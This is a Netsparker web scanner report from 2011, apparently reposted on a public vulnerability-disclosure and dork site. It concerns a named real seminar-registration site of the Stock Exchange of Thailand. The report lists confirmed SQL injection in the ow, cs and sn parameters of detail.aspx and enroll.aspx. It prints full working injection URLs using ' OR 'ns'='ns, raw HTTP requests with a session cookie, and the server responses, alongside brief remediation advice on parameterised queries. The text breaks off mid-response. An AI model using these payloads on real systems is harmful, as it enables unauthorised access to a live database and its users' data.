SQL Injection, Database Error, register2.set.or.th, CWE-89, CAPEC-66, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

Netsparker - Scan Report Summary
TARGET URL
http://register2.set.or.th/semreg/detail.aspx...
SCAN DATE
5/3/2011 1:27:25 PM
REPORT DATE
5/3/2011 2:59:22 PM
SCAN DURATION
00:42:04

Total Requests

Average Speed

req/sec.
32
identified
12
confirmed
11
critical
6
informational

DORK TESTS

DORK TESTS
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
CRITICAL
34 %
MEDIUM
9 %
LOW
38 %
INFORMATION
19 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ Forbidden Resource Yes
IIS Version Disclosure No
/semreg/detail.aspx ow GET Boolean Based SQL Injection Yes
cs GET Boolean Based SQL Injection Yes
sn GET Boolean Based SQL Injection Yes
ow GET SQL Injection Yes
cs GET [Probable] SQL Injection No
sn GET [Probable] SQL Injection No
ow GET [Possible] Cross-site Scripting No
cs GET [Possible] Cross-site Scripting No
sn GET [Possible] Cross-site Scripting No
Cookie Not Marked As HttpOnly Yes
TRACE / TRACK Identified Yes
ViewState is not Encrypted No
cs GET [Possible] SQL Injection No
sn GET [Possible] SQL Injection No
ASP.NET Debugging Enabled No
[Possible] Internal Path Leakage (Windows) No
/semreg/enroll.aspx ow GET SQL Injection Yes
cs GET SQL Injection Yes
sn GET SQL Injection Yes
cs GET [Probable] SQL Injection No
sn GET [Probable] SQL Injection No
ow GET Internal Server Error Yes
ASP.NET Version Disclosure No
ow GET Database Error Message No
ow GET ASP.NET Stack Trace Disclosure No
ow GET [Possible] SQL Injection No
cs GET [Possible] SQL Injection No
sn GET [Possible] SQL Injection No
Microsoft SQL Server Identified Yes
[Possible] Internal Path Leakage (Windows) No
Boolean Based SQL Injection

Boolean Based SQL Injection

3 TOTAL
CRITICAL
CONFIRMED
3
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Netsparker confirmed the vulnerability by executing a test SQL Query on the back-end database. In these tests, SQL Injection was not obvious but the different responses from the page based on the injection test allowed Netsparker to identify and confirm the SQL Injection.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you to centralise the issue. You can also use an ORM (object relational mapping). Most of the ORM systems use only parameterised queries and this can solve the whole SQL Injection problem.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM change all legacy code to use these new libraries)
  4. Use your weblogs and application logs to see if there was any previous but undetected attack to this resource.

Remedy

The best way to protect your code against SQL Injections is using parameterised queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them.

External References

Remedy References

- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow='+OR+'ns'%3d'ns&cs=S0001&sn=0049

Parameters

Parameter Type Value
ow GET ' OR 'ns'='ns
cs GET S0001
sn GET 0049

Request

GET /semreg/detail.aspx?ow='+OR+'ns'%3d'ns&cs=S0001&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:41:29 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 7191



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>detail</title>
<meta content="True" name="vs_snapToGrid">
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="Visual Basic .NET 7.1" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<LINK href="../styles/regStyle.css" type="text/css" rel="stylesheet">
</HEAD>
<body bgColor="lightgrey" MS_POSITIONING="GridLayout">
<form name="Form1" method="post" action="detail.aspx?ow='+OR+'ns'%3d'ns&amp;cs=S0001&amp;sn=0049" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8NT47aTw3PjtpPDExPjtpPDE1PjtpPDE5PjtpPDI1PjtpPDI5PjtpPDMzPjtpPDM3Pjs+O2w8dDw7bDxpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8bDxzcmM7PjtsPC4uL2ltYWdlcy9zZXQtbG9nby1pbmRleC5naWY7Pj47Oz47dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxUZXh0Oz47bDxNJlc6IOC4h+C4suC4meC4m+C4o+C4sOC4geC4suC4qOC4nOC4peC4geC4reC4h+C4l+C4uOC4meC4ouC4reC4lOC5gOC4ouC4teC5iOC4ouC4oeC5geC4q+C5iOC4h+C4m+C4tSAyMDEwIOC5geC4peC4sOC4quC4seC4oeC4oeC4meC4siDigJzguYDguIjguLLguLDguIHguKXguKLguLjguJfguJjguYzguIHguK3guIfguJfguLjguJnguKLguK3guJTguYDguKLguLXguYjguKLguKEgLSDguIjguLHguJrguYDguJfguKPguJnguJTguYzguIHguK3guIfguJfguLjguJnguKHguLLguYHguKPguIfguJvguLUgMjAxMeKAnTs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDAxLzA0LzIwMTEgKDEzOjAwIC0gMTY6MzApIDs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w84Lir4Lit4Lib4Lij4Liw4LiK4Li44Lih4Lio4Liy4Liq4LiV4Lij4Liy4LiI4Liy4Lij4Lii4LmM4Liq4Lix4LiH4LmA4Lin4Li14Lii4LiZIOC4reC4tOC4meC4l+C4o+C4p+C4tOC4iuC4seC4oizguIrguLHguYnguJkzLCDguJXguKXguLLguJTguKvguKXguLHguIHguJfguKPguLHguJ7guKLguYzguK8gKOC4li7guKPguLHguIrguJTguLLguKDguLTguYDguKnguIEpOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDwwOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDwzNTA7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDM5Oz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+O3Q8cDxwPGw8RW5hYmxlZDs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz4+Oz5l+nA/OJkQ3Wv+UcmoU0gv23ly1w==" />

<TABLE id="Table1" style="Z-INDEX: 101; LEFT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 591px"
cellSpacing="0" cellPadding="0" width="750" align="left" bgColor="white" border="0">
<TR>
<TD style="HEIGHT: 11px"><FONT face="Tahoma">
<meta content="False" name="vs_snapToGrid">
<meta content="False" name="vs_showGrid">
<TABLE id="Table1" style="WIDTH: 645px; HEIGHT: 36px" cellSpacing="0" cellPadding="0" width="645"
border="0">
<TR>
<TD style="HEIGHT: 7px"><img src="../images/set-logo-index.gif" id="Header1_Img1" border="0" /></TD>
</TR>
<TR>
<TD style="HEIGHT: 2px"></TD>
</TR>
</TABLE>
</FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 26px"><FONT face="Tahoma"><img id="snDetailHeadImg" src="../images/Body/head_semdetail.gif" border="0" /></FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 418px" vAlign="middle" align="center">
<TABLE id="Table2" style="WIDTH: 700px; HEIGHT: 393px" cellSpacing="0" cellPadding="0"
width="700" border="0">
<TR>
<TD style="WIDTH: 1px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 45px"></TD>
<TD style="WIDTH: 31px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 714px; HEIGHT: 45px" colSpan="2"><P><FONT face="Tahoma">&nbsp;</P>
<P></FONT><span id="snNamelbl" class="textField" style="width:588px;">M&W: งานประกาศผลกองทุนยอดเยี่ยมแห่งปี 2010 และสัมมนา “เจาะกลยุทธ์กองทุนยอดเยี่ยม - จับเทรนด์กองทุนมาแรงปี 2011”</span></P>
<FONT face="Tahoma">
<P><span id="snDescLbl" class="labelField" style="width:596px;"></span></P>
<HR width="100%" SIZE="1">
</FONT>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 31px; HEIGHT: 218px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 218px" vAlign="top" colSpan="2"><FONT face="Tahoma"></FONT><FONT face="Tahoma"></FONT>
<TABLE id="Table3" style="WIDTH: 624px; HEIGHT: 223px" cellSpacing="0" cellPadding="0"
width="624" border="0">
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTmlbl" class="textField">วันเวลา / Date&Time</span></FONT></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTm" class="labelField">01/04/2011 (13:00 - 16:30) </span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snVenuelbl" class="textField">สถานที่ / Venue</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snVenue" class="labelField">หอประชุมศาสตราจารย์สังเวียน อินทรวิชัย,ชั้น3, ตลาดหลักทรัพย์ฯ (ถ.รัชดาภิเษก)</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snFeelbl" class="textField">ค่าธรรมเนียม / Fee</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><span id="snFee" class="labelField" style="width:73px;">0</span><FONT face="Tahoma">&nbsp;
</FONT>
<span id="currencyLbl" class="labelField">บาท / Baht</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snMaxSeatlbl" class="textField">จำนวนที่รับ / Total Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><FONT face="Tahoma"><span id="snMaxSeat" class="labelField">350</span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 30px"><span id="snAvSeatlbl" class="textField">ที่นั่งคงเหลือ / Available Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 30px"><span id="snAvSeat" class="labelField">39</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snRemarklbl" class="textField">หมายเหตุ / Remark</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snRemark" class="labelField"></span></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 31px; HEIGHT: 127px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 127px" vAlign="top" align="left" colSpan="2"><FONT face="Tahoma">&nbsp;&nbsp;
</FONT>
<HR width="100%" SIZE="1">
<input type="submit" name="backBtn" value="Back" id="backBtn" class="button" style="width:80px;" /><FONT face="Tahoma">&nbsp;
</FONT>
<input type="submit" name="registBtn" value="Register" id="registBtn" disabled="disabled" class="button" style="width:80px;" /></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD><FONT face="Tahoma"></FONT></TD>
</TR>
</TABLE>
</form>
</body>
</HTML>
- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs='+OR+'ns'%3d'ns&sn=0049

Parameters

Parameter Type Value
ow GET FKH
cs GET ' OR 'ns'='ns
sn GET 0049

Request

GET /semreg/detail.aspx?ow=FKH&cs='+OR+'ns'%3d'ns&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:04:08 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 7189



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>detail</title>
<meta content="True" name="vs_snapToGrid">
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="Visual Basic .NET 7.1" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<LINK href="../styles/regStyle.css" type="text/css" rel="stylesheet">
</HEAD>
<body bgColor="lightgrey" MS_POSITIONING="GridLayout">
<form name="Form1" method="post" action="detail.aspx?ow=FKH&amp;cs='+OR+'ns'%3d'ns&amp;sn=0049" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8NT47aTw3PjtpPDExPjtpPDE1PjtpPDE5PjtpPDI1PjtpPDI5PjtpPDMzPjtpPDM3Pjs+O2w8dDw7bDxpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8bDxzcmM7PjtsPC4uL2ltYWdlcy9zZXQtbG9nby1pbmRleC5naWY7Pj47Oz47dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxUZXh0Oz47bDxNJlc6IOC4h+C4suC4meC4m+C4o+C4sOC4geC4suC4qOC4nOC4peC4geC4reC4h+C4l+C4uOC4meC4ouC4reC4lOC5gOC4ouC4teC5iOC4ouC4oeC5geC4q+C5iOC4h+C4m+C4tSAyMDEwIOC5geC4peC4sOC4quC4seC4oeC4oeC4meC4siDigJzguYDguIjguLLguLDguIHguKXguKLguLjguJfguJjguYzguIHguK3guIfguJfguLjguJnguKLguK3guJTguYDguKLguLXguYjguKLguKEgLSDguIjguLHguJrguYDguJfguKPguJnguJTguYzguIHguK3guIfguJfguLjguJnguKHguLLguYHguKPguIfguJvguLUgMjAxMeKAnTs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8XGU7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDAxLzA0LzIwMTEgKDEzOjAwIC0gMTY6MzApIDs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w84Lir4Lit4Lib4Lij4Liw4LiK4Li44Lih4Lio4Liy4Liq4LiV4Lij4Liy4LiI4Liy4Lij4Lii4LmM4Liq4Lix4LiH4LmA4Lin4Li14Lii4LiZIOC4reC4tOC4meC4l+C4o+C4p+C4tOC4iuC4seC4oizguIrguLHguYnguJkzLCDguJXguKXguLLguJTguKvguKXguLHguIHguJfguKPguLHguJ7guKLguYzguK8gKOC4li7guKPguLHguIrguJTguLLguKDguLTguYDguKnguIEpOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDwwOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDwzNTA7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDM5Oz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+O3Q8cDxwPGw8RW5hYmxlZDs+O2w8bzxmPjs+Pjs+Ozs+Oz4+Oz4+Oz5l+nA/OJkQ3Wv+UcmoU0gv23ly1w==" />

<TABLE id="Table1" style="Z-INDEX: 101; LEFT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 591px"
cellSpacing="0" cellPadding="0" width="750" align="left" bgColor="white" border="0">
<TR>
<TD style="HEIGHT: 11px"><FONT face="Tahoma">
<meta content="False" name="vs_snapToGrid">
<meta content="False" name="vs_showGrid">
<TABLE id="Table1" style="WIDTH: 645px; HEIGHT: 36px" cellSpacing="0" cellPadding="0" width="645"
border="0">
<TR>
<TD style="HEIGHT: 7px"><img src="../images/set-logo-index.gif" id="Header1_Img1" border="0" /></TD>
</TR>
<TR>
<TD style="HEIGHT: 2px"></TD>
</TR>
</TABLE>
</FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 26px"><FONT face="Tahoma"><img id="snDetailHeadImg" src="../images/Body/head_semdetail.gif" border="0" /></FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 418px" vAlign="middle" align="center">
<TABLE id="Table2" style="WIDTH: 700px; HEIGHT: 393px" cellSpacing="0" cellPadding="0"
width="700" border="0">
<TR>
<TD style="WIDTH: 1px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 45px"></TD>
<TD style="WIDTH: 31px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 714px; HEIGHT: 45px" colSpan="2"><P><FONT face="Tahoma">&nbsp;</P>
<P></FONT><span id="snNamelbl" class="textField" style="width:588px;">M&W: งานประกาศผลกองทุนยอดเยี่ยมแห่งปี 2010 และสัมมนา “เจาะกลยุทธ์กองทุนยอดเยี่ยม - จับเทรนด์กองทุนมาแรงปี 2011”</span></P>
<FONT face="Tahoma">
<P><span id="snDescLbl" class="labelField" style="width:596px;"></span></P>
<HR width="100%" SIZE="1">
</FONT>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 31px; HEIGHT: 218px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 218px" vAlign="top" colSpan="2"><FONT face="Tahoma"></FONT><FONT face="Tahoma"></FONT>
<TABLE id="Table3" style="WIDTH: 624px; HEIGHT: 223px" cellSpacing="0" cellPadding="0"
width="624" border="0">
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTmlbl" class="textField">วันเวลา / Date&Time</span></FONT></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTm" class="labelField">01/04/2011 (13:00 - 16:30) </span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snVenuelbl" class="textField">สถานที่ / Venue</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snVenue" class="labelField">หอประชุมศาสตราจารย์สังเวียน อินทรวิชัย,ชั้น3, ตลาดหลักทรัพย์ฯ (ถ.รัชดาภิเษก)</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snFeelbl" class="textField">ค่าธรรมเนียม / Fee</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><span id="snFee" class="labelField" style="width:73px;">0</span><FONT face="Tahoma">&nbsp;
</FONT>
<span id="currencyLbl" class="labelField">บาท / Baht</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snMaxSeatlbl" class="textField">จำนวนที่รับ / Total Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><FONT face="Tahoma"><span id="snMaxSeat" class="labelField">350</span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 30px"><span id="snAvSeatlbl" class="textField">ที่นั่งคงเหลือ / Available Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 30px"><span id="snAvSeat" class="labelField">39</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snRemarklbl" class="textField">หมายเหตุ / Remark</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snRemark" class="labelField"></span></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 31px; HEIGHT: 127px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 127px" vAlign="top" align="left" colSpan="2"><FONT face="Tahoma">&nbsp;&nbsp;
</FONT>
<HR width="100%" SIZE="1">
<input type="submit" name="backBtn" value="Back" id="backBtn" class="button" style="width:80px;" /><FONT face="Tahoma">&nbsp;
</FONT>
<input type="submit" name="registBtn" value="Register" id="registBtn" disabled="disabled" class="button" style="width:80px;" /></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD><FONT face="Tahoma"></FONT></TD>
</TR>
</TABLE>
</form>
</body>
</HTML>
- /semreg/detail.aspx

/semreg/detail.aspx CONFIRMED

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn='+OR+'ns'%3d'ns

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET ' OR 'ns'='ns

Request

GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn='+OR+'ns'%3d'ns HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 14:05:26 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 6381



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>detail</title>
<meta content="True" name="vs_snapToGrid">
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="Visual Basic .NET 7.1" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<LINK href="../styles/regStyle.css" type="text/css" rel="stylesheet">
</HEAD>
<body bgColor="lightgrey" MS_POSITIONING="GridLayout">
<form name="Form1" method="post" action="detail.aspx?ow=FKH&amp;cs=S0001&amp;sn='+OR+'ns'%3d'ns" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8NT47aTw3PjtpPDExPjtpPDE1PjtpPDE5PjtpPDI1PjtpPDI5PjtpPDMzPjtpPDM3Pjs+O2w8dDw7bDxpPDE+O2k8Mj47aTw0PjtpPDU+Oz47bDx0PHA8bDxzcmM7PjtsPC4uL2ltYWdlcy9zZXQtbG9nby1pbmRleC5naWY7Pj47Oz47dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47Pj47dDxwPHA8bDxUZXh0Oz47bDx0ZXN0Oz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDxcZTs+Pjs+Ozs+O3Q8cDxwPGw8VGV4dDs+O2w8MjIvMDMvMjAxMSAoMDA6MDApIC0gMjQvMDMvMjAxMSAoMDA6MDApOz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDx0ZXN0Oz4+Oz47Oz47dDxwPHA8bDxUZXh0Oz47bDwxMDAuMDA7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDI7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPDI7Pj47Pjs7Pjt0PHA8cDxsPFRleHQ7PjtsPFxlOz4+Oz47Oz47dDxwPHA8bDxFbmFibGVkOz47bDxvPGY+Oz4+Oz47Oz47Pj47Pj47PtE+/bHj1ZG6ResiQlL/kFHpUkIF" />

<TABLE id="Table1" style="Z-INDEX: 101; LEFT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 591px"
cellSpacing="0" cellPadding="0" width="750" align="left" bgColor="white" border="0">
<TR>
<TD style="HEIGHT: 11px"><FONT face="Tahoma">
<meta content="False" name="vs_snapToGrid">
<meta content="False" name="vs_showGrid">
<TABLE id="Table1" style="WIDTH: 645px; HEIGHT: 36px" cellSpacing="0" cellPadding="0" width="645"
border="0">
<TR>
<TD style="HEIGHT: 7px"><img src="../images/set-logo-index.gif" id="Header1_Img1" border="0" /></TD>
</TR>
<TR>
<TD style="HEIGHT: 2px"></TD>
</TR>
</TABLE>
</FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 26px"><FONT face="Tahoma"><img id="snDetailHeadImg" src="../images/Body/head_semdetail.gif" border="0" /></FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 418px" vAlign="middle" align="center">
<TABLE id="Table2" style="WIDTH: 700px; HEIGHT: 393px" cellSpacing="0" cellPadding="0"
width="700" border="0">
<TR>
<TD style="WIDTH: 1px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 45px"></TD>
<TD style="WIDTH: 31px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 714px; HEIGHT: 45px" colSpan="2"><P><FONT face="Tahoma">&nbsp;</P>
<P></FONT><span id="snNamelbl" class="textField" style="width:588px;">test</span></P>
<FONT face="Tahoma">
<P><span id="snDescLbl" class="labelField" style="width:596px;"></span></P>
<HR width="100%" SIZE="1">
</FONT>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 31px; HEIGHT: 218px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 218px" vAlign="top" colSpan="2"><FONT face="Tahoma"></FONT><FONT face="Tahoma"></FONT>
<TABLE id="Table3" style="WIDTH: 624px; HEIGHT: 223px" cellSpacing="0" cellPadding="0"
width="624" border="0">
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTmlbl" class="textField">วันเวลา / Date&Time</span></FONT></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTm" class="labelField">22/03/2011 (00:00) - 24/03/2011 (00:00)</span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snVenuelbl" class="textField">สถานที่ / Venue</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snVenue" class="labelField">test</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snFeelbl" class="textField">ค่าธรรมเนียม / Fee</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><span id="snFee" class="labelField" style="width:73px;">100.00</span><FONT face="Tahoma">&nbsp;
</FONT>
<span id="currencyLbl" class="labelField">บาท / Baht</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snMaxSeatlbl" class="textField">จำนวนที่รับ / Total Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><FONT face="Tahoma"><span id="snMaxSeat" class="labelField">2</span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 30px"><span id="snAvSeatlbl" class="textField">ที่นั่งคงเหลือ / Available Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 30px"><span id="snAvSeat" class="labelField">2</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snRemarklbl" class="textField">หมายเหตุ / Remark</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snRemark" class="labelField"></span></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 31px; HEIGHT: 127px"></TD>
